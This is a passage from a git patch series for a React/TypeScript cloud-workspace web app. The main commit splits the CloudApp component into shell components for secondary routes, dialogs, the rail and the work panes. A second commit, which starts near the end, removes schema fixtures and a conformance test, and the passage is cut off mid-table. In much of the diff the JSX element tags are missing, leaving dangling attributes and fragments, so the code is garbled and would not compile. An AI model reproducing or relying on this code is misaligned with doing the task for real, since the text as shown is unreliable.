TERMINAL_SUBMIT_EVENT } from './TtydTerminal'; import { WorkspaceErrorState } from './WorkspaceErrorState'; -import { FileEditor } from './FileEditor'; import { FilesSidebar } from './FilesSidebar'; import { fullDavPath, isPathAtOrBelow } from './files'; import { dropPasteText, uploadDroppedFiles } from './file-drop'; @@ -106,7 +93,6 @@ import { selectControllableWorkspaceId, workspaceReducer, } from './workspace-store'; -import { PreviewPanel } from './PreviewPanel'; import { NATIVE_CHAT_ENABLED } from './product-features'; import { isPreviewPath, @@ -117,12 +103,10 @@ import { } from './preview'; import { decideUpdateAction, extractIndexAsset } from './update-check'; import { LoginForm } from './components/LoginForm'; -import { CreateOrgDialog } from './components/CreateOrgDialog'; import { CreateOrgPage } from './components/CreateOrgPage'; import type { IdentityRecord } from './protocol'; import { FILES_DAV_ROOT, type EndpointResolver } from './resolver'; -import { - type ConnectionsPanelFocus, WorkspaceDrawer, WorkspacePanelContent } from './WorkspaceDrawer'; +import { type ConnectionsPanelFocus, WorkspaceDrawer } from './WorkspaceDrawer'; import { rememberWorkspaceEndpoints, type WorkspaceEndpoints, @@ -171,11 +155,6 @@ function TerminalIcon() { export { terminalWebSocketUrl } from './workspace-endpoints'; -type WebAppConfirmation = { - workspaceId: string; - label: string; -}; - type FileCloseConfirmation = { id: string; label: string; @@ -187,64 +166,6 @@ const PANEL_LABELS = { connections: 'Connections', } satisfies Record; -function PasteCodeModal({ - onCancel, - onSend, -}: { - onCancel: () => void; - onSend: (payload: { data: string; enters: number }) => void; -}) { - const [text, setText] = useState(''); - const inputRef = useRef(null); - - useEffect(() => { - inputRef.current?.focus(); - }, []); - - const canSend = text.trim().length > 0; - const send = () => { - if (!canSend) return; - // Paste-code submits the raw text; the terminal layer then sends Enter - // twice, each gated on the pty responding (echo, then the next screen) — - // bundling \r with the text makes Claude's input treat it as pasted - // content and swallow the submit. - onSend({ data: terminalPastePayload(text.trim(), false), enters: 2 }); - }; - - return ( -
-
event.stopPropagation()} - > -

Paste code

- setText(event.target.value)} - onKeyDown={(event) => { - if (event.key === 'Enter') send(); - }} - /> -
- - -
-
-
- ); -} - export type CloudAppProps = { client: ControlPlaneClient; resolver: EndpointResolver; @@ -933,8 +854,6 @@ export default function CloudApp({ client, resolver }: CloudAppProps) { deleteWorkspace(request.workspaceId); }, [confirmation, deleteWorkspace]); - const isSettingsRoute = route.page === 'settings'; - const dispatchTerminalKeyboard = () => { window.dispatchEvent(new CustomEvent(TERMINAL_KEYBOARD_EVENT)); }; @@ -1270,7 +1189,6 @@ export default function CloudApp({ client, resolver }: CloudAppProps) { ? `workspace ${activeWorkspace.lifecycleStatus}` : 'workspace pending'; const hasControllableWorkspace = store.workspaces.some(({ canControl }) => canControl); - const isDriveRoute = route.page === 'drive' || route.page === 'folder'; const webAppBooting = route.page === 'webApp' && ( !loaded || (hasControllableWorkspace && !activeWorkspace) ); @@ -1448,23 +1366,22 @@ export default function CloudApp({ client, resolver }: CloudAppProps) { ); const railFor = (nav: DriveRailNav | null, railActiveWorkspaceId: string | null) => ( - org) ?? []} sessions={railActiveWorkspaceId !== null && railActiveWorkspaceId === activeWorkspaceId ? railSessions : []} activeSessionId={railActiveSessionId ?? ''} + drawerOpen={drawerOpen} onSelectSession={selectTtydSession} + onSelectWorkspace={selectWorkspace} + onCreateWorkspace={() => setShowCreateWorkspace(true)} onOpenDrive={() => navigateTo(drivePath())} onOpenTemplates={() => navigateTo(templatesPath())} onOpenRecipes={() => navigateTo(recipesPath())} - onSelectWorkspace={selectWorkspace} - onCreateWorkspace={() => setShowCreateWorkspace(true)} onSwitchOrg={(orgId) => { void client.switchOrg(orgId).then(() => window.location.reload()); }} @@ -1475,99 +1392,47 @@ export default function CloudApp({ client, resolver }: CloudAppProps) { if (mobileWebApp) setDrawerOpen(false); setDetailsWorkspaceId(workspaceId); }} - drawerOpen={drawerOpen} onCloseDrawer={() => setDrawerOpen(false)} /> ); - const createWorkspaceDialog = showCreateWorkspace && ( - { + await api.createOrg(name); + // POST /orgs rebinds the session to the org it just made, so the + // reload lands inside it, exactly as switching does. + window.location.reload(); + }} + onCloseCreateOrg={() => setShowCreateOrg(false)} + showCreateWorkspace={showCreateWorkspace} + createWorkspaceBusy={createWorkspaceBusy} + createWorkspaceError={createWorkspaceError} + orgDefaultTemplateId={orgDefaultTemplateId} listMachineTypes={listMachineTypes} listVolumes={listVolumes} listTemplates={listTemplates} - initialTemplateId={orgDefaultTemplateId} - // The template page draws this dialog too, since #40. Close it on the - // way out, or it covers the page it just opened. onNewTemplate={() => { setShowCreateWorkspace(false); navigateTo(templateNewPath()); }} - onCancel={() => { + onCancelCreateWorkspace={() => { if (!createWorkspaceBusy) setShowCreateWorkspace(false); }} - onSubmit={(input) => { void createWorkspace(input); }} - /> - ); - const deleteWorkspaceDialog = confirmation && ( - - ); - const shareWorkspaceDialog = shareWorkspaceId && (() => { - const workspace = store.workspaces.find(({ id }) => id === shareWorkspaceId); - return workspace ? ( - setShareWorkspaceId(null)} - /> - ) : null; - })(); - const createOrgDialog = showCreateOrg && ( - { - await api.createOrg(name); - // POST /orgs rebinds the session to the org it just made, so the - // reload lands inside it, exactly as switching does. - window.location.reload(); - }} - onCancel={() => setShowCreateOrg(false)} + onCreateWorkspace={(input) => { void createWorkspace(input); }} + shareWorkspaceId={shareWorkspaceId} + onCloseShare={() => setShareWorkspaceId(null)} + detailsWorkspaceId={detailsWorkspaceId} + onCloseDetails={() => setDetailsWorkspaceId(null)} + onRequestDeleteWorkspace={requestDeleteWorkspace} + confirmation={confirmation} + onCancelConfirmation={cancelConfirmation} + onConfirmDelete={confirmWebAppAction} /> ); - const workspaceDetailsDialog = detailsWorkspaceId && (() => { - const workspace = store.workspaces.find(({ id }) => id === detailsWorkspaceId); - const canManage = workspace?.accessRole === 'owner' || workspace?.accessRole === 'admin'; - return workspace?.canControl ? ( - setDetailsWorkspaceId(null)} - onDelete={canManage - ? () => requestDeleteWorkspace(workspace.id) - : null} - /> - ) : null; - })(); - const railOverlays = ( - <> - {createOrgDialog} - {createWorkspaceDialog} - {shareWorkspaceDialog} - {workspaceDetailsDialog} - {deleteWorkspaceDialog} - - ); if (signedOut) { return ; @@ -1586,159 +1451,32 @@ export default function CloudApp({ client, resolver }: CloudAppProps) { ); } - if (isDriveRoute && (route.page === 'drive' || route.page === 'folder')) { - return ( -
- {railFor('drive', null)} - {loaded && store.viewer ? ( - setDrawerOpen(true)} - /> - ) : ( -
-
Loading…
-
- )} - {error &&
{error}
} - {updateNotice} - {railOverlays} -
- ); - } - - if (route.page === 'templates') { - return ( -
- {railFor('templates', null)} - {loaded && store.viewer ? ( - navigateTo(templateNewPath())} - onEditTemplate={(template) => navigateTo(templateEditPath(template.id))} - onUseTemplate={(template) => { - void createWorkspace({ templateId: template.id, orgShareRole: 'editor' }); - }} - onOpenRail={() => setDrawerOpen(true)} - /> - ) : ( -
-
Loading…
-
- )} - {createWorkspaceError &&
{createWorkspaceError}
} - {error &&
{error}
} - {updateNotice} - {railOverlays} -
- ); - } - - if (route.page === 'recipes') { - return ( -
- {railFor('recipes', null)} - {loaded && store.viewer ? ( - navigateTo(recipeNewPath())} - onEditRecipe={(recipe) => navigateTo(recipeEditPath(recipe.id))} - onRunRecipe={(recipe) => { void launchRecipe(recipe.id); }} - onOpenRail={() => setDrawerOpen(true)} - /> - ) : ( -
-
Loading…
-
- )} - {createWorkspaceError &&
{createWorkspaceError}
} - {error &&
{error}
} - {updateNotice} - {railOverlays} -
- ); - } - - if (route.page === 'recipe-new' || route.page === 'recipe-edit') { - const leaveToRecipes = () => navigateTo(recipesPath()); - return ( -
- {railFor('recipes', null)} - {loaded && store.viewer ? ( - - ) : ( -
-
Loading…
-
- )} - {error &&
{error}
} - {railOverlays} -
- ); - } - - if (route.page === 'template-new' || route.page === 'template-edit') { - const leaveToTemplates = () => navigateTo(templatesPath()); + if (isSecondaryRoute(route)) { return ( -
- {railFor('templates', null)} - {loaded && store.viewer ? ( - - ) : ( -
-
Loading…
-
- )} - {error &&
{error}
} - {railOverlays} -
- ); - } - - if (isSettingsRoute) { - return ( -
- - {loaded && store.viewer ? ( - window.location.reload()} - /> - ) : ( -
- Loading settings… -
- )} - {error &&
{error}
} - {updateNotice} -
+ railFor(nav, null)} + dialogs={railOverlays} + updateNotice={updateNotice} + error={error} + onDismissError={() => setError(null)} + createWorkspaceBusy={createWorkspaceBusy} + createWorkspaceError={createWorkspaceError} + onDismissCreateWorkspaceError={() => setCreateWorkspaceError(null)} + onCreateWorkspace={(input) => { void createWorkspace(input); }} + onLaunchRecipe={(recipeId) => { void launchRecipe(recipeId); }} + onNavigate={navigateTo} + onOpenRail={() => setDrawerOpen(true)} + onNavigateToSettings={navigateToSettings} + onOpenWorkspace={navigateToWorkspacePage} + onLeaveSettings={returnToWebApp} + onSignOut={signOut} + onLeftOrg={() => window.location.reload()} + activeWorkspaceTitle={activeWorkspace?.title} + /> ); } @@ -1807,213 +1545,87 @@ export default function CloudApp({ client, resolver }: CloudAppProps) { )} -
1 ? ' webapp-panes--split' : ''}`} - ref={panesRef} - data-resizing={paneResizing || undefined} - style={ - // SAFETY: React accepts CSS custom properties at runtime; CSSProperties omits arbitrary `--*` keys from its static surface. - { '--side-pane-width': `${activeFiles.width}px` } as CSSProperties - } - onDragOver={(event) => { + { + setFilesDrawerOpen(false); + setDrawerOpen(true); + }} + onSelectSession={selectTtydSession} + onCloseSession={closeTtydSession} + onRenameSession={renameTtydSession} + onSpawnSession={spawnTtydSession} + onTabDragStart={beginTabDrag} + onTabDragEnd={clearTabDrag} + onTabDragOver={(event) => { if (tabDrag === null) return; event.preventDefault(); if (event.dataTransfer) event.dataTransfer.dropEffect = 'move'; trackTabDrag(event); }} - onDrop={dropTabDrag} - > - {visibleRegions.map((region) => ( -
- { - setFilesDrawerOpen(false); - setDrawerOpen(true); - }} - onSelect={selectTtydSession} - onClose={closeTtydSession} - onRename={canEditWorkspaceLayout ? renameTtydSession : undefined} - onSpawn={spawnTtydSession} - onTabDragStart={splitEnabled ? beginTabDrag : undefined} - onTabDragEnd={clearTabDrag} - draggingSessionId={tabDrag?.sessionId ?? null} - insertBeforeId={tabDrag !== null - && tabDrag.target.kind === 'tab' - && tabDrag.target.region === region - ? tabDrag.target.beforeId === null - ? null - : String(tabDrag.target.beforeId) - : undefined} - livePorts={orderedLivePorts} - previewLinks={orderedPreviewLinks} - onOpenPreview={openPreviewPort} - onOpenPreviewLink={openPreviewLink} - /> -
- ))} - {visibleRegions.map((region) => { - const fallback = paneFallback(region); - return fallback === null ? null : ( -
{fallback}
- ); - })} - {renderedSessions.map((session) => { - const sessionId = String(session.id); - const region = surfaceRegion(session); - const active = paneActiveId(region) === sessionId; - if (session.type === 'panel') { - return ( - - ); - } - if (session.type === 'preview') { - return ( - - ); - } - if (session.type === 'file') { - return ( - - ); - } - if (session.type === 'chat') { - return null; - } - return ( - - ); - })} - {visibleRegions.length > 1 && ( -
) => { - if (event.button !== 0) return; - event.preventDefault(); - endPaneResize.current?.(); - const origin = { x: event.clientX, width: activeFiles.width }; - const move = (moveEvent: MouseEvent) => { - setSidePaneWidth(clampDrawerWidth( - origin.width + origin.x - moveEvent.clientX, - window.innerWidth, - )); - }; - const stop = () => endPaneResize.current?.(); - window.addEventListener('mousemove', move); - window.addEventListener('mouseup', stop); - window.addEventListener('blur', stop); - endPaneResize.current = () => { - window.removeEventListener('mousemove', move); - window.removeEventListener('mouseup', stop); - window.removeEventListener('blur', stop); - endPaneResize.current = null; - setPaneResizing(false); - }; - setPaneResizing(true); - }} - /> - )} - {tabDrag !== null && ( - + onTabDrop={dropTabDrag} + onOpenPreview={openPreviewPort} + onOpenPreviewLink={openPreviewLink} + onResolveRequest={resolveWorkspaceRequest} + onFileDirtyChange={updateFileDirty} + onFilesRefresh={() => setFilesRefreshVersion((version) => version + 1)} + onUnauthorized={handleUnauthorized} + onSignInUrl={setTerminalSignInUrl} + onBeginPaneResize={(event: ReactMouseEvent) => { + if (event.button !== 0) return; + event.preventDefault(); + endPaneResize.current?.(); + const origin = { x: event.clientX, width: activeFiles.width }; + const move = (moveEvent: MouseEvent) => { + setSidePaneWidth(clampDrawerWidth( + origin.width + origin.x - moveEvent.clientX, + window.innerWidth, + )); + }; + const stop = () => endPaneResize.current?.(); + window.addEventListener('mousemove', move); + window.addEventListener('mouseup', stop); + window.addEventListener('blur', stop); + endPaneResize.current = () => { + window.removeEventListener('mousemove', move); + window.removeEventListener('mouseup', stop); + window.removeEventListener('blur', stop); + endPaneResize.current = null; + setPaneResizing(false); + }; + setPaneResizing(true); + }} + /> {mobileWebApp && activeWorkspace && ( + +
+
+ + ); +} diff --git a/packages/webapp/src/shell/SecondaryRoutes.tsx b/packages/webapp/src/shell/SecondaryRoutes.tsx new file mode 100644 index 00000000..7d0489ce --- /dev/null +++ b/packages/webapp/src/shell/SecondaryRoutes.tsx @@ -0,0 +1,260 @@ +import type { ReactNode } from 'react'; +import type { ControlPlaneClient } from '../api'; +import type { TenantMe } from '../api-adapter'; +import type { CreateWorkspaceDialogInput } from '../CreateWorkspaceDialog'; +import { CreateRecipeScreen } from '../files/CreateRecipeScreen'; +import { CreateTemplateScreen } from '../files/CreateTemplateScreen'; +import { DriveHome } from '../files/DriveHome'; +import type { DriveRailNav } from '../files/DriveRail'; +import { RecipesHome } from '../files/RecipesHome'; +import { TemplatesHome } from '../files/TemplatesHome'; +import { SettingsHeader, SettingsPage } from '../SettingsPage'; +import { + recipeEditPath, + recipeNewPath, + recipesPath, + templateEditPath, + templateNewPath, + templatesPath, + type AppRoute, + type SettingsSection, +} from '../sessions-page-state'; + +/** Pages the shell draws beside the rail instead of a workspace. Settings is + * one of them even though it hides the rail: it is still not the webApp. */ +export type SecondaryRoutePage = + | 'drive' + | 'folder' + | 'templates' + | 'template-new' + | 'template-edit' + | 'recipes' + | 'recipe-new' + | 'recipe-edit' + | 'settings'; + +const SECONDARY_ROUTE_PAGES = new Set([ + 'drive', + 'folder', + 'templates', + 'template-new', + 'template-edit', + 'recipes', + 'recipe-new', + 'recipe-edit', + 'settings', +]); + +export function isSecondaryRoute( + route: AppRoute, +): route is Extract { + return SECONDARY_ROUTE_PAGES.has(route.page); +} + +export type SecondaryRoutesProps = { + route: Extract; + client: ControlPlaneClient; + viewer: TenantMe | null; + loaded: boolean; + /** The shared rail, parameterized by which nav row is current. */ + rail: (nav: DriveRailNav | null) => ReactNode; + dialogs: ReactNode; + updateNotice: ReactNode; + error: string | null; + onDismissError: () => void; + createWorkspaceBusy: boolean; + createWorkspaceError: string | null; + onDismissCreateWorkspaceError: () => void; + onCreateWorkspace: (input: CreateWorkspaceDialogInput) => void; + onLaunchRecipe: (recipeId: string) => void; + onNavigate: (path: string) => void; + onOpenRail: () => void; + onNavigateToSettings: (section: SettingsSection) => void; + onOpenWorkspace: (workspaceId: string) => void; + onLeaveSettings: () => void; + onSignOut: () => Promise; + onLeftOrg: () => void; + activeWorkspaceTitle: string | undefined; +}; + +function Notice({ message, onDismiss }: { message: string; onDismiss: () => void }) { + return ( +
+ {message} + +
+ ); +} + +function Loading() { + return ( +
+
Loading…
+
+ ); +} + +/** The route switch for every page that is not a workspace. Each branch is the + * same shell: rail, content, notices, dialogs. */ +export function SecondaryRoutes({ + route, + client, + viewer, + loaded, + rail, + dialogs, + updateNotice, + error, + onDismissError, + createWorkspaceBusy, + createWorkspaceError, + onDismissCreateWorkspaceError, + onCreateWorkspace, + onLaunchRecipe, + onNavigate, + onOpenRail, + onNavigateToSettings, + onOpenWorkspace, + onLeaveSettings, + onSignOut, + onLeftOrg, + activeWorkspaceTitle, +}: SecondaryRoutesProps) { + const notice = error === null + ? null + : ; + const createNotice = createWorkspaceError === null + ? null + : ; + + if (route.page === 'settings') { + return ( +
+ + {loaded && viewer ? ( + + ) : ( +
+ Loading settings… +
+ )} + {notice} + {updateNotice} +
+ ); + } + + if (route.page === 'drive' || route.page === 'folder') { + return ( +
+ {rail('drive')} + {loaded && viewer ? ( + + ) : } + {notice} + {updateNotice} + {dialogs} +
+ ); + } + + if (route.page === 'templates') { + return ( +
+ {rail('templates')} + {loaded && viewer ? ( + onNavigate(templateNewPath())} + onEditTemplate={(template) => onNavigate(templateEditPath(template.id))} + onUseTemplate={(template) => { + onCreateWorkspace({ templateId: template.id, orgShareRole: 'editor' }); + }} + onOpenRail={onOpenRail} + /> + ) : } + {createNotice} + {notice} + {updateNotice} + {dialogs} +
+ ); + } + + if (route.page === 'recipes') { + return ( +
+ {rail('recipes')} + {loaded && viewer ? ( + onNavigate(recipeNewPath())} + onEditRecipe={(recipe) => onNavigate(recipeEditPath(recipe.id))} + onRunRecipe={(recipe) => onLaunchRecipe(recipe.id)} + onOpenRail={onOpenRail} + /> + ) : } + {createNotice} + {notice} + {updateNotice} + {dialogs} +
+ ); + } + + if (route.page === 'recipe-new' || route.page === 'recipe-edit') { + const leaveToRecipes = () => onNavigate(recipesPath()); + return ( +
+ {rail('recipes')} + {loaded && viewer ? ( + + ) : } + {notice} + {dialogs} +
+ ); + } + + const leaveToTemplates = () => onNavigate(templatesPath()); + return ( +
+ {rail('templates')} + {loaded && viewer ? ( + + ) : } + {notice} + {dialogs} +
+ ); +} diff --git a/packages/webapp/src/shell/ShellDialogs.tsx b/packages/webapp/src/shell/ShellDialogs.tsx new file mode 100644 index 00000000..f013aee2 --- /dev/null +++ b/packages/webapp/src/shell/ShellDialogs.tsx @@ -0,0 +1,151 @@ +import type { ListMachineTypesResponse, Volume, WorkspaceTemplateView } from '@blitzos/schema'; +import type { ControlPlaneClient } from '../api'; +import type { TenantMe } from '../api-adapter'; +import { ConfirmationDialog } from '../ConfirmationDialog'; +import { CreateOrgDialog } from '../components/CreateOrgDialog'; +import { + CreateWorkspaceDialog, + type CreateWorkspaceDialogInput, +} from '../CreateWorkspaceDialog'; +import { ShareWorkspaceDialog } from '../ShareWorkspaceDialog'; +import { WorkspaceDetailsDialog } from '../WorkspaceDetailsDialog'; +import type { CloudWorkspaceModel } from '../workspace-store'; + +/** The workspace this dialog stack is about to delete, and the name the + * confirmation shows. */ +export type WebAppConfirmation = { + workspaceId: string; + label: string; +}; + +export type ShellDialogsProps = { + client: ControlPlaneClient; + viewer: TenantMe | null; + workspaces: CloudWorkspaceModel[]; + showCreateOrg: boolean; + onCreateOrg: (name: string) => Promise; + onCloseCreateOrg: () => void; + showCreateWorkspace: boolean; + createWorkspaceBusy: boolean; + createWorkspaceError: string | null; + orgDefaultTemplateId: string | null; + listMachineTypes: () => Promise; + listVolumes: () => Promise; + listTemplates: () => Promise; + onNewTemplate: () => void; + onCancelCreateWorkspace: () => void; + onCreateWorkspace: (input: CreateWorkspaceDialogInput) => void; + shareWorkspaceId: string | null; + onCloseShare: () => void; + detailsWorkspaceId: string | null; + onCloseDetails: () => void; + onRequestDeleteWorkspace: (workspaceId: string) => void; + confirmation: WebAppConfirmation | null; + onCancelConfirmation: () => void; + onConfirmDelete: () => void; +}; + +/** Every modal the shell can raise from the rail, in one stack. Each route + * branch renders it once, so the same dialog opens identically everywhere. */ +export function ShellDialogs({ + client, + viewer, + workspaces, + showCreateOrg, + onCreateOrg, + onCloseCreateOrg, + showCreateWorkspace, + createWorkspaceBusy, + createWorkspaceError, + orgDefaultTemplateId, + listMachineTypes, + listVolumes, + listTemplates, + onNewTemplate, + onCancelCreateWorkspace, + onCreateWorkspace, + shareWorkspaceId, + onCloseShare, + detailsWorkspaceId, + onCloseDetails, + onRequestDeleteWorkspace, + confirmation, + onCancelConfirmation, + onConfirmDelete, +}: ShellDialogsProps) { + const shareWorkspace = shareWorkspaceId === null + ? undefined + : workspaces.find(({ id }) => id === shareWorkspaceId); + const detailsWorkspace = detailsWorkspaceId === null + ? undefined + : workspaces.find(({ id }) => id === detailsWorkspaceId); + const canManageDetails = detailsWorkspace?.accessRole === 'owner' + || detailsWorkspace?.accessRole === 'admin'; + return ( + <> + {showCreateOrg && ( + + )} + {showCreateWorkspace && ( + + )} + {shareWorkspace && ( + + )} + {detailsWorkspace?.canControl && ( + onRequestDeleteWorkspace(detailsWorkspace.id) + : null} + /> + )} + {confirmation && ( + + )} + + ); +} diff --git a/packages/webapp/src/shell/ShellRail.tsx b/packages/webapp/src/shell/ShellRail.tsx new file mode 100644 index 00000000..8b96a8fb --- /dev/null +++ b/packages/webapp/src/shell/ShellRail.tsx @@ -0,0 +1,81 @@ +import type { TenantMe } from '../api-adapter'; +import { + DriveRail, + type DriveRailNav, + type DriveRailSession, +} from '../files/DriveRail'; +import type { CloudWorkspaceModel } from '../workspace-store'; + +export type ShellRailProps = { + workspaces: CloudWorkspaceModel[]; + viewer: TenantMe | null; + /** The workspace whose sessions the rail lists, or `null` on a page that has + * no workspace of its own (Drive, templates, recipes). */ + activeWorkspaceId: string | null; + nav: DriveRailNav | null; + sessions: DriveRailSession[]; + activeSessionId: string; + drawerOpen: boolean; + onSelectSession: (sessionId: string) => void; + onSelectWorkspace: (workspaceId: string) => void; + onCreateWorkspace: () => void; + onOpenDrive: () => void; + onOpenTemplates: () => void; + onOpenRecipes: () => void; + onSwitchOrg: (orgId: string) => void; + onCreateOrg: () => void; + onOpenSettings: () => void; + onOpenWorkspaceShare: (workspaceId: string) => void; + onOpenWorkspaceDetails: (workspaceId: string) => void; + onCloseDrawer: () => void; +}; + +/** Column one of the shell. Every route branch draws exactly this, so the rail + * is identical on Drive, on a workspace, and inside the mobile drawer. */ +export function ShellRail({ + workspaces, + viewer, + activeWorkspaceId, + nav, + sessions, + activeSessionId, + drawerOpen, + onSelectSession, + onSelectWorkspace, + onCreateWorkspace, + onOpenDrive, + onOpenTemplates, + onOpenRecipes, + onSwitchOrg, + onCreateOrg, + onOpenSettings, + onOpenWorkspaceShare, + onOpenWorkspaceDetails, + onCloseDrawer, +}: ShellRailProps) { + return ( + org) ?? []} + sessions={sessions} + activeSessionId={activeSessionId} + onSelectSession={onSelectSession} + onOpenDrive={onOpenDrive} + onOpenTemplates={onOpenTemplates} + onOpenRecipes={onOpenRecipes} + onSelectWorkspace={onSelectWorkspace} + onCreateWorkspace={onCreateWorkspace} + onSwitchOrg={onSwitchOrg} + onCreateOrg={onCreateOrg} + onOpenSettings={onOpenSettings} + onOpenWorkspaceShare={onOpenWorkspaceShare} + onOpenWorkspaceDetails={onOpenWorkspaceDetails} + drawerOpen={drawerOpen} + onCloseDrawer={onCloseDrawer} + /> + ); +} diff --git a/packages/webapp/src/shell/WorkPanes.tsx b/packages/webapp/src/shell/WorkPanes.tsx new file mode 100644 index 00000000..d05905a7 --- /dev/null +++ b/packages/webapp/src/shell/WorkPanes.tsx @@ -0,0 +1,313 @@ +import type { + CSSProperties, + DragEvent as ReactDragEvent, + MouseEvent as ReactMouseEvent, + ReactNode, + RefObject, +} from 'react'; +import type { CredentialRequestView } from '@blitzos/schema'; +import type { WebDAVClient } from 'webdav'; +import type { ControlPlaneClient } from '../api'; +import { FileEditor } from '../FileEditor'; +import { PreviewPanel } from '../PreviewPanel'; +import { TtydTerminal } from '../TtydTerminal'; +import { + WebAppHeader, + type SpawnSessionType, + type WebAppTabModel, +} from '../WebAppHeader'; +import type { LivePort, PreviewLink } from '../preview'; +import type { WorkspaceRegion, WorkspaceTab } from '../storage'; +import type { CloudWorkspaceModel } from '../workspace-store'; +import { + WorkspacePanelContent, + type ConnectionsPanelFocus, +} from '../WorkspaceDrawer'; +import type { TabDrag } from '../use-workspace-tab-drag'; + +export type WorkPanesProps = { + client: ControlPlaneClient; + panesRef: RefObject; + visibleRegions: WorkspaceRegion[]; + renderedSessions: WorkspaceTab[]; + surfaceRegion: (session: WorkspaceTab) => WorkspaceRegion; + paneActiveId: (region: WorkspaceRegion) => string | null; + paneTabModels: (region: WorkspaceRegion) => WebAppTabModel[]; + paneFallback: (region: WorkspaceRegion) => ReactNode; + sidePaneWidth: number; + paneResizing: boolean; + tabDrag: TabDrag | null; + splitEnabled: boolean; + mobile: boolean; + drawerOpen: boolean; + tabsLoaded: boolean; + workspaceWaking: boolean; + canEditWorkspaceLayout: boolean; + activeWorkspace: CloudWorkspaceModel | undefined; + activeWorkspaceId: string; + activeWorkspaceRunning: boolean; + activeSessionUrl: string | null; + activeFilesBase: string | null; + filesClient: WebDAVClient | null; + filesSidebar: ReactNode; + orgName: string; + workspaceWakingStage: string | undefined; + livePorts: LivePort[]; + previewLinks: PreviewLink[]; + pendingRequests: CredentialRequestView[]; + pendingRequestsError: string | null; + connectionsFocus: ConnectionsPanelFocus | null; + onOpenDrawer: () => void; + onSelectSession: (sessionId: string) => void; + onCloseSession: (sessionId: string) => void; + onRenameSession: (sessionId: string, title: string | undefined) => void; + onSpawnSession: (type: SpawnSessionType) => void; + onTabDragStart: (sessionId: string, event: ReactDragEvent) => void; + onTabDragEnd: () => void; + onTabDragOver: (event: ReactDragEvent) => void; + onTabDrop: (event: ReactDragEvent) => void; + onOpenPreview: (port: number, path?: string) => boolean; + onOpenPreviewLink: (url: string, title: string) => boolean; + onResolveRequest: ( + request: CredentialRequestView, + action: 'approve' | 'deny', + ) => Promise; + onFileDirtyChange: (sessionId: string, dirty: boolean) => void; + onFilesRefresh: () => void; + onUnauthorized: () => void; + onSignInUrl: (url: string | null) => void; + onBeginPaneResize: (event: ReactMouseEvent) => void; +}; + +/** Column three: the tab strips, the surfaces they draw, and the split + * plumbing between them. Every surface is a sibling in one grid, so moving a + * tab between panes changes a placement and never a parent. */ +export function WorkPanes({ + client, + panesRef, + visibleRegions, + renderedSessions, + surfaceRegion, + paneActiveId, + paneTabModels, + paneFallback, + sidePaneWidth, + paneResizing, + tabDrag, + splitEnabled, + mobile, + drawerOpen, + tabsLoaded, + workspaceWaking, + canEditWorkspaceLayout, + activeWorkspace, + activeWorkspaceId, + activeWorkspaceRunning, + activeSessionUrl, + activeFilesBase, + filesClient, + filesSidebar, + orgName, + workspaceWakingStage, + livePorts, + previewLinks, + pendingRequests, + pendingRequestsError, + connectionsFocus, + onOpenDrawer, + onSelectSession, + onCloseSession, + onRenameSession, + onSpawnSession, + onTabDragStart, + onTabDragEnd, + onTabDragOver, + onTabDrop, + onOpenPreview, + onOpenPreviewLink, + onResolveRequest, + onFileDirtyChange, + onFilesRefresh, + onUnauthorized, + onSignInUrl, + onBeginPaneResize, +}: WorkPanesProps) { + return ( +
1 ? ' webapp-panes--split' : ''}`} + ref={panesRef} + data-resizing={paneResizing || undefined} + style={ + // SAFETY: React accepts CSS custom properties at runtime; CSSProperties omits arbitrary `--*` keys from its static surface. + { '--side-pane-width': `${sidePaneWidth}px` } as CSSProperties + } + onDragOver={onTabDragOver} + onDrop={onTabDrop} + > + {visibleRegions.map((region) => ( +
+ +
+ ))} + {visibleRegions.map((region) => { + const fallback = paneFallback(region); + return fallback === null ? null : ( +
{fallback}
+ ); + })} + {renderedSessions.map((session) => { + const sessionId = String(session.id); + const region = surfaceRegion(session); + const active = paneActiveId(region) === sessionId; + if (session.type === 'panel') { + return ( + + ); + } + if (session.type === 'preview') { + return ( + + ); + } + if (session.type === 'file') { + return ( + + ); + } + if (session.type === 'chat') { + return null; + } + return ( + + ); + })} + {visibleRegions.length > 1 && ( +
+ )} + {tabDrag !== null && ( + + ); +} From 91b2b502745d8533e14dd0cfc95d0822e3857501 Mon Sep 17 00:00:00 2001 From: Claude Date: Fri, 28 Aug 2026 23:51:09 +0000 Subject: [PATCH 17/43] schema: retire the workspace-environment cross-runtime contract The fixture corpus and its conformance tests pinned a payload no runtime consumes any more. The control-plane route file is left intact so it keeps compiling while it is made legacy-empty; only the corpus and the conformance test go here. Co-Authored-By: Claude Fable 5 --- CLAUDE.md | 6 +- .../workspace-environment-conformance.test.ts | 29 ---------- .../fixtures/workspace-environment/README.md | 19 ------- .../invalid/bad-key.json | 7 --- .../invalid/bad-value.json | 7 --- .../invalid/env-too-large.json | 7 --- .../invalid/extra-field.json | 6 -- .../invalid/files-ready-type.json | 5 -- .../invalid/startup-script-type.json | 5 -- .../invalid/too-many-keys.json | 57 ------------------- .../workspace-environment/valid/empty.json | 5 -- .../valid/populated.json | 10 ---- 12 files changed, 5 insertions(+), 158 deletions(-) delete mode 100644 packages/control-plane/test/workspace-environment-conformance.test.ts delete mode 100644 packages/schema/fixtures/workspace-environment/README.md delete mode 100644 packages/schema/fixtures/workspace-environment/invalid/bad-key.json delete mode 100644 packages/schema/fixtures/workspace-environment/invalid/bad-value.json delete mode 100644 packages/schema/fixtures/workspace-environment/invalid/env-too-large.json delete mode 100644 packages/schema/fixtures/workspace-environment/invalid/extra-field.json delete mode 100644 packages/schema/fixtures/workspace-environment/invalid/files-ready-type.json delete mode 100644 packages/schema/fixtures/workspace-environment/invalid/startup-script-type.json delete mode 100644 packages/schema/fixtures/workspace-environment/invalid/too-many-keys.json delete mode 100644 packages/schema/fixtures/workspace-environment/valid/empty.json delete mode 100644 packages/schema/fixtures/workspace-environment/valid/populated.json diff --git a/CLAUDE.md b/CLAUDE.md index e317bfd9..89503f25 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -64,7 +64,6 @@ conformance tests on BOTH sides. Never hand-edit one side of a contract. | MICROVM_HOSTS | runtime + deploy share ONE parser | n/a (shared code) | `core/compute/microvm-hosts.js` imported by both | | dufs WebDAV listing | `core/files/sync.ts` parser ↔ dufs in the box image | `fixtures/dav-listing/` | `test/dav-listing-fixtures.test.ts` (TS side; guest side revalidates at box-image rebuild) | | public preview links | box CLI state ↔ Go gateway ↔ browser | `fixtures/previews/` | `gateway/main_test.go`, `webapp/test/preview-v2.test.ts` | -| workspace environment | `core/environment.ts` route ↔ `broker/internal/workspace/environment.go` ↔ `box/actor/src/credentials.ts` (`env` only) | 